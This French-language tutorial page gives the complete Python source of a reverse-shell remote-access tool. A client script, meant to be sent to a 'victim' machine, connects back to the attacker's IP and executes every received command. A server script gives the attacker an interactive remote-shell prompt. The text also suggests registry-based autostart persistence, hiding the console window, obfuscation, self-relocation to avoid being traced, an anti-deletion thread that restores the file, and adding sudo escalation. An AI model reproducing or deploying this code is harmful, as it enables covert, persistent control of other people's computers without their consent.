Code complet

Ici je vais donner les sources du projet.

Bien entendu, le programme est perfectible.

Par exemple sous windows on aurait très bien pu ajouter une clé de registre qui lance le programme à chaque fois que la machine démarre.


Le port est une variable globale. Faites un int(raw_input) (avec les try ... except et toussa).


Vous pouvez aussi faire un système d'identification par mot de passe :

Exemple : la communication est établie. Le client va se charger de recevoir une chaine de caractère et la comparer avec le mot de passe qu'il a. S'il sont identiques, alors on continue, sinon le client coupe la connexion. 

Rappel : Le programme utilise une reverse connection, donc le client est le programme que vous envoyez à l'ordinateur distant.


Le client, une fois déconnecté s'éteint, faites en sorte qu'il ne s'arrête pas. Pour ce une simple boucle infinie fait l'affaire.


Sous linux, on ne peut pas faire de commande sudo.
Ajouter un bout de code qui vous permet de le faire.
(On peut ouvrir le flux créé par popen en écriture)


Faites en sorte de crypter le programme (par exemple sous windows avec py2exe). Ou ajoutez une fonction qui fait une copie du programme dans le disque dur et qui efface le premier ensuite, por qu'on ne puisse pas vous trouver (rappelez vous, votre ip se trouve dans le programme client qui est un simple script). Ou choisissez des victimes connes (j'ai pas trouvé mieux désolé), comme ça elle aura pas la curiosité d'aller fouiller dans la source.


En utilisant le multi-threading lancer en parallèle une procédure anti_del() qui permettra de récupérer le programme dans le cas où celui ci est introuvable (côté client)(on l'a peut être effacé).

anti_del lira le programme en entier, le stockera dans une chaine de caractère puis vérifie si le fichier existe ou pas. S'il existe on ne fais rien, sinon on crée un fichier qui porte le même nom et on y stocke la chaine de caractère précédemment récupérée. Tout ceci se fait dans une boucle infinie (c'est pour ça qu'on a besoin du multi-threading).


Faites en sorte qu'on ne voie pas la console dans côté client (fichier .pyw)


Pourquoi pas en GUI (Graphical User Interface) (coté serveur) pour plus de convivialité.


Le serveur attend indéfiniment que le client se connecte.

Faites en sorte qu'il arrête d'attendre au bout de 20 sec (ou une période temporelle bien déterminée).


Autre gros défaut dans le programme, le résultat de la commande est une une seule chaine de 1024 caractères. Donc pour un résultat plus grand on doit laisser plusieurs instruction vides, et c'est pas du tout élégant.

Pour remédier au problème on peut "streamer" le flux en lecture.


... etc ... (ça suffit quand même, faut pas exagérer, trouvez vous de fonctionnalités tous seuls ...)

Bref, vous l'aurez compris, le code qu'on a travaillé est très très basique.

Les sources ... enfin :

 Code client

Code : python
#!/usr/bin/python
# -*- coding: utf-8 -*-


import socket ;
import os ;

IP = "127.0.0.1" ; #ici je test en local
#mais normalement vous devez utiliser votre IP statique

PORT = 444 ; #choisissez un port

def client () :
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ;
  code = 0 ;
  while code == 0 :
    try :
      sock.connect((IP,PORT)) ;
      code = 1 ;
    except socket.error :
      os.system ("sleep 5") ; #faire un import time ; time.sleep(5) ; pour du portable
  return sock ;

def subp (sock) :
  while 1 :
    cmd = sock.recv (1024) ;
    if cmd == "EOC" :
      break ;
    else :
      pp = os.popen (cmd) ; cmd = "" ;
      for lines in pp.readlines () :
        cmd = cmd + lines ;
      if len(cmd) == 0 :
        sock.send ("void") ;
      else :
        sock.send (cmd) ;
  sock.close () ;

def main () :
  sock = client () ;
  subp (sock) ;

main () ;

 Code Serveur

Code : python
#!/usr/bin/python
# -*- coding: utf-8 -*-


import os ;
import socket ;

IP = "127.0.0.1" ; #ip du serveur votre IP
PORT = 444 ; #vous pouvez aussi faire un port = int (raw_input ()) ;

def server () :
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ;
  try :
    sock.bind ((IP, PORT)) ;
  except socket.error :
    print ("[-] Failed while binding socket ...") ;
    return 0 ;
  print ("[+] Successfuly binded socket ...\n") ;
  sock.listen (100) ;
  print ("[+] Listening on port <%s> ..." % str(PORT)) ;
  conn, addr = sock.accept () ;
  print ("[+] Connected to IP <%s>, on PORT <%s> ...\n" % (addr[0], str(PORT))) ;
  return conn ;

def rshell (conn) :
  while 1 :
    print ("\n") ;
    comm = raw_input ("(remote-shell) > ") ;
    print ('\n') ;
    if comm == "disconnect" :
      conn.send ("EOC") ; #pour End Of Communication
      break ;
    conn.send (comm) ; recu = conn.recv (1024) ;
    if recu == "void" :
      continue ;
    else :
      print (recu + "\n") ;
  conn.close () ;

def main () :
  print ("Copyright (C) 2009-2010 \nremote-shell by unn@med\n") ;
  while 1 :
    comm = raw_input ("(command-prompt) > ") ;
    if comm == "help" or comm == "?" :
      print ("""
====================================
Welcome to help
====================================
help or ?              ask for help
exit or quit           exit
connect                connect to client
====================================
You can execute system command
====================================
"""
) ;
    elif comm == "connect" :
      c = server () ;
      if c != 0 :
        rshell (c) ;
    elif comm == "exit" or comm == "quit" :
      exit (True) ;
    else :
      os.system(comm) ;
   
main () ;